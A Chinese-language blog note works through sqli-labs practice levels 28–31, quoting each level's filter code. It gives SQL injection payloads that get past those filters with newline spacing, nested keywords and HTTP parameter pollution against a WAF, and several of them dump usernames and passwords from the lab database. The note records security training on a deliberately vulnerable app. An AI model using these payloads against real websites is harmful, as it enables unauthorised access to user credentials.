note-14

less28

测试出闭合点

1
?id=1');%00

然后看一眼源码的过滤

1
2
3
4
5
6
7
8
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;

这辉大小写绕过就没用了,
而且好像是这两同时出现成union select 时才会触发过滤
这样的话双写绕过就有点难吧
但是明白了原理,根据过滤机制进行绕过就ok

1
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,2,3;%00

有点奇葩,但确实能用
也可以选择报错注入好像(不行,没有报错),不试了

1
2
3
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security';%00
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users';%00
?id=0')%0Auunion%0Aselectnion%0Aselect%0A1,database(),group_concat(id,username,password)from%0Asecurity.users;%00

less28a

看一眼源码

1
2
3
4
5
6
7
8
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;

好像只对union select 进行了过滤

payload

1
?id=0')ununion selection select 1,2,3--+

比上关更简单,只过了union select,其它都没过滤

less29 waf过滤

从29到31关,要用到启动tomcat作为过滤服务器,确定参数安全后才交给apache服务器。只需将sqli-labs文件夹下的tomcat-files.zip解压到tomcat/webapp/ROOT目录下,启动tomcat/bin下的startup.bat即可(关闭为shutdown.bat)。
by
https://blog.csdn.net/2301_76913435/article/details/145601627

https://blog.csdn.net/kukudeshuo/article/details/114763700

我没有跟博客去配置tomcat,但是直接用login.php来进行测试
好像就是同样效果,那我直接当它配置好了吧

那就是输入

1
2
/sqli-labs/Less-29/login.php?id=1   //回显正常
/sqli-labs/Less-29/login.php?id=1' //会转到hacked.php

那大概就是waf成功阻止了此次注入
那就要想办法绕过waf了

由于tomcat和apache解析参数的顺序不同,当注入两个参数?id=1&id=2,此时tomcat解析的是第一个参数,而apache解析的是第二个参数并且SQL语句也是在apache服务器上执行的,由此绕过tomcat的检测。
by
https://blog.csdn.net/2301_76913435/article/details/145601627

1
2
3
sqli-labs/Less-29/login.php?id=1&id=2'--+
//回显
id=2的内容

直接构造

1
/sqli-labs/Less-29/login.php?id=1&id=0' union select 1,database(),group_concat(id,username,password)from security.users--+

成功

notice

Web应用程序防火墙(Web Application Firewall,WAF)是一种用于保护Web应用程序的安全设备。Web应用程序是指通过Web浏览器或其他Web客户端访问的应用程序。WAF的目的是保护Web应用程序免受黑客、网络攻击和数据泄漏等安全威胁的攻击。

less30

和上一关一样有waf,但好像没有id的话就不会有回显

1
2
3
/sqli-labs/Less-30/login.php/?id=3&id=0"union select 1,2,3--+

/sqli-labs/Less-30/login.php/?id=3&id=0"union select 1,database(),group_concat(id,username,password)from security.users--+

看了源码还差点找不到注入点😥….

less31

waf
闭合点

1
2
/sqli-labs/Less-31/login.php/?id=1&id=0") union select 1,2,3--+
/sqli-labs/Less-30/login.php/?id=3&id=0")union select 1,database(),group_concat(id,username,password)from security.users--+

结束

按原计划,sql-labs的学习就先到这,下面sql注入的学习该去做ctf真题了,不得不说sqli-labs的帮助真挺大,能打好sql注入的原理和基础


note-14
https://aidemofashi.github.io/2025/03/16/note-14/
作者
aidemofashi
发布于
2025年3月16日
许可协议